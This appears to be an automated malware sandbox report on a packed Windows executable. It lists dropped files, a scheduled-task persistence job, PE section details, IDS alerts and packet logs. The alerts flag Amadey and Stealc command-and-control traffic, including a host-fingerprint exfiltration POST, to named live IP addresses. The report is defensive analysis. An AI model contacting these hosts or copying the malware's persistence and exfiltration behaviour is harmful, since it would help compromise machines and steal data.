Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	modified
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 9, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.084989615531034
Encrypted:	false
SSDEEP:	24:J67Wwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:w7WnEUo9LXtR+JdkOnohYsl
MD5:	570640BAAF36B496CB5934BAFDFDB277
SHA1:	55E31209A7F0222B1F26AD9A0475F94191C71E6E
SHA-256:	A78C027C5F45F3CE4102464D31B01AF77D9EFC6FE91AB62567F778577FC46E5E
SHA-512:	9C0CD7A68FA560CE1455FC626243FB4E729A0A653A8E7A5F107F92F4F30273516861EE4231E84BD7732B27B6F63A9707CCDE3F48526832A1AC116195B1EFA56D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.4004504811624003
Encrypted:	false
SSDEEP:	6:zT1TtX45ZsUEZ+lX1lOJUPelkDdtFXqYEp5t/uy0lBizt0:FFDQ1lOmeeDNfXVBWt0
MD5:	6B25FB7F7F33FD24200FBD9B9965617B
SHA1:	0A349D47FA63BE9455296FED66D606968459369C
SHA-256:	AA8B1AA662B714654A6302B82F7EE7E1D1EEEAFE6A22ABC065CA824B10019A61
SHA-512:	4D7E2F31C7405BFC9529B3BE67B33060BDFB945D945743E6D620465AA09AF6251D3CAAD7BFDF59E9D8DE286FCD20AC21A43FBBBBEB833CD5E5C5B086CCB572D1
Malicious:	false
Preview:	.....rY....D..5.%5.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948138744721676
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'937'408 bytes
MD5:	b58725b0a514974aae36a20730adc4b3
SHA1:	a99eb4395fc9a95cad952a7d4bd444fb3baa9103
SHA256:	a64238bb65c406ec9ef9267f96de8b2ff4a2dc1998859970f2b7399aed50db76
SHA512:	21ed4926463abff571fa30161607cfc58ef2106683295830764a6008d9e6c1228271966c951c030b13db295217b7f568797ebf74fb02a4ed86d198a34d9b7a29
SSDEEP:	49152:ugpWvpPq4PRzgbjv65CIjyoNaA1bKGfBMK:usWvzgbkaA1TSK
TLSH:	129533D95BE9A1E5D2C94F712C8F5218AEBD83D210B066ADBE0D23BF41CBB101A5747C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9914F9B80Ah
movd mm3, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4c6c70	0x10	lfxcpyub
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4c6c20	0x18	lfxcpyub
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	75f18bdffdc0628f2e9111d2197b83cf	False	0.9971634451634878	data	7.98098366974593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x4d8	0x400	b7bde1efa27ede5beef8008b028097ff	False	0.591796875	data	4.995246802673882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b5000	0x200	1c3ece4c9714095cb0eb077a5132f3f4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lfxcpyub	0x320000	0x1a8000	0x1a7200	b8ca896dac8310a990e191a49b0921dc	False	0.9942658327178729	data	7.953705767893421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hhzixuje	0x4c8000	0x1000	0x600	ff8fd58bc9607cca4b35ee77f38c201f	False	0.5748697916666666	data	4.962550885044673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c9000	0x3000	0x2200	a635a2473345b162573bb75297f1dd47	False	0.06571691176470588	DOS executable (COM)	0.7352060402151255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4c6c80	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397
RT_MANIFEST	0x4c6f66	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T05:02:20.879413+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49704	TCP
2024-11-12T05:02:58.869288+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49908	TCP
2024-11-12T05:03:03.866218+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49937	185.215.113.16	80	TCP
2024-11-12T05:03:04.166930+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.5	49937	TCP
2024-11-12T05:03:04.442956+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49937	185.215.113.16	80	TCP
2024-11-12T05:03:07.436872+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49958	185.215.113.16	80	TCP
2024-11-12T05:03:07.914788+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49958	185.215.113.16	80	TCP
2024-11-12T05:03:10.747117+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49978	185.215.113.16	80	TCP
2024-11-12T05:03:10.872214+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49974	185.215.113.206	80	TCP
2024-11-12T05:03:21.324855+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50008	185.215.113.206	80	TCP
2024-11-12T05:03:37.925328+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50027	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 05:03:02.952524900 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:02.957372904 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:02.957454920 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:02.957572937 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:02.962363958 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:03.866154909 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:03.866218090 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:03.868685007 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:03.873491049 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.160093069 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.160157919 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.162106037 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.166929960 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442787886 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442806005 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442816973 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442827940 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442886114 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442955971 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.442956924 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442955971 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.442970037 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442981005 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.442994118 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.442994118 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.443006039 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.443026066 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.443061113 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.443528891 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.443540096 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.443582058 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.447865963 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.448035955 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.448112965 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.600831985 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.600846052 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.600912094 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.600955963 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.600966930 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.600980997 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601035118 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601129055 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601141930 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601156950 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601183891 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601202011 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601449966 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601495981 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601506948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601526022 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601547003 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601547003 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601547956 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601560116 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.601600885 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.601600885 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.602247000 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.602258921 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.602281094 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.602292061 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.602293968 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.602303982 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.602304935 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.602334976 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.602355957 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.603007078 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603018045 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603029013 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603064060 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603064060 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.603064060 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.603075027 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603086948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603101969 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.603121042 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.603941917 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.603951931 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.604016066 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.604016066 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.605765104 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.605775118 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.605820894 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.605820894 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759321928 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759349108 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759361982 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759412050 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759525061 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759557962 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759576082 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759588003 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759607077 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759632111 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759656906 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759668112 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759679079 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759705067 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759741068 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759783030 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759830952 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759838104 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759871006 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759910107 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759921074 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759932041 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759943008 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.759979010 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759979010 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.759991884 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760365963 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760375977 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760391951 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760404110 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760413885 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760431051 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760443926 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760447025 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760447025 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760447025 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760453939 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760493994 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760498047 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760498047 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760505915 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760518074 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760529041 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760544062 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760561943 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760607004 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760868073 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760879993 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760895967 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760915041 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760926008 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.760967016 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.760978937 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761023045 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761034012 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761044979 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761056900 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761071920 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761071920 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761071920 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761073112 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761095047 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761375904 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761446953 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761502981 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761513948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761524916 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761535883 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761548042 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761559963 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761573076 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761573076 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761632919 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761641979 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761652946 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761663914 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.761688948 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761713982 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.761979103 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.762041092 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.762048006 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.762059927 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.762098074 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.762109041 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.762190104 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.762200117 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.762298107 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.917751074 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.917764902 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.917829037 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.917874098 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.917886019 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.917897940 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.917911053 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.917917013 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.917936087 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.917980909 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.918010950 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.918066025 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.918092012 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.918102980 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.918116093 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.918132067 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.918133020 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.918143034 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:04.918147087 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:04.918169022 CET	49937	80	192.168.2.5	185.215.113.16
